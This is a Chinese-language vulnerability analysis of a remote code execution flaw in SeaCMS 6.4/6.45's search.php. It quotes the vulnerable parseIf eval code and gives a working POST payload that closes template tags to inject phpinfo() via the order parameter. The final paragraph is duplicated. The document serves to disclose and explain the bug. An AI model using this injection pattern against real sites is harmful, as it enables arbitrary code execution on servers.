seacms_v6.4(海洋cms)前台RCE
漏洞详情
海洋cms v6.4(6.45也存在) search.php存在RCE漏洞。$order
参数没做严格的限制,就将其传入了模板文件中,然后使用eval()执行模板中包含$order
的代码,通过闭合拼接语句的方式,插入恶意代码,实现远程命令执行。poc如下
url/seacms645/search.php
post:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
漏洞分析
首先search.php入手,这个文件包含了common.php和main.class.php
在common.php中对GET,POST,COOKIE等请求传入的全局变量中的键值对转换成变量,并对其中的值使用addslashes()转义预定义的特殊符号
search.php中echoSearchPage函数将$order注册成为全局变量
当参数searchtype==5时会获取到 $order
的值加载对应的模板文件,将模板文件读取到$content
变量中
然后使用$order
替换了模板中{searchpage:ordername}
标签
至此,$order
变量都没有经过任何过滤直接替换到模板中,然后将储存模板的变量$content
传入parseIf函数中
跟进到\include\main.class.php 中的parseif函数
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
}else{
$elseIfArray=explode($labelRule2,$strThen);
$elseIfArrayLen=count($elseIfArray);
$elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
$resultStr=$elseIfSubArray[1];
$elseIfArraystr0=addslashes($elseIfArray[0]);
@eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
$strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
$strElseIf=$this->parseStrIf($strElseIf);
$strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
@eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
@eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {break;}
}
$strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
$strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
@eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
$content=str_replace($iar[0][$m],$resultStr,$content);
}
}
return $content;
}
}
想要传入eval中执行,首先格式要求$content中必须含有{if:
在eval()函数中,$strIf
就是之前preg_match_all()
中(.*?)
匹配出来的值
构造POC需要考虑前面$content替换的标签和eval函数内部
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
在eval()函数中,首先要闭合前面的if语句,可以构造1)phpinfo();if(1,而且还要符合正则{if:(.?)}(.?){end if}
所以 {if:1)phpinfo();if(1{end if}
<a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
在标签中$order
替换的是{searchpage:ordername}
,这里也要闭合
}{end if}{if:1)phpinfo();if(1}{end if}
当进入parseIf函数后正则匹配到1)phpinfo();if(1储存在$strIf变量传给eval执行,构成了 RCE
里也要闭合
}{end if}{if:1)phpinfo();if(1}{end if}
当进入parseIf函数后正则匹配到1)phpinfo();if(1储存在$strIf变量传给eval执行,构成了 RCE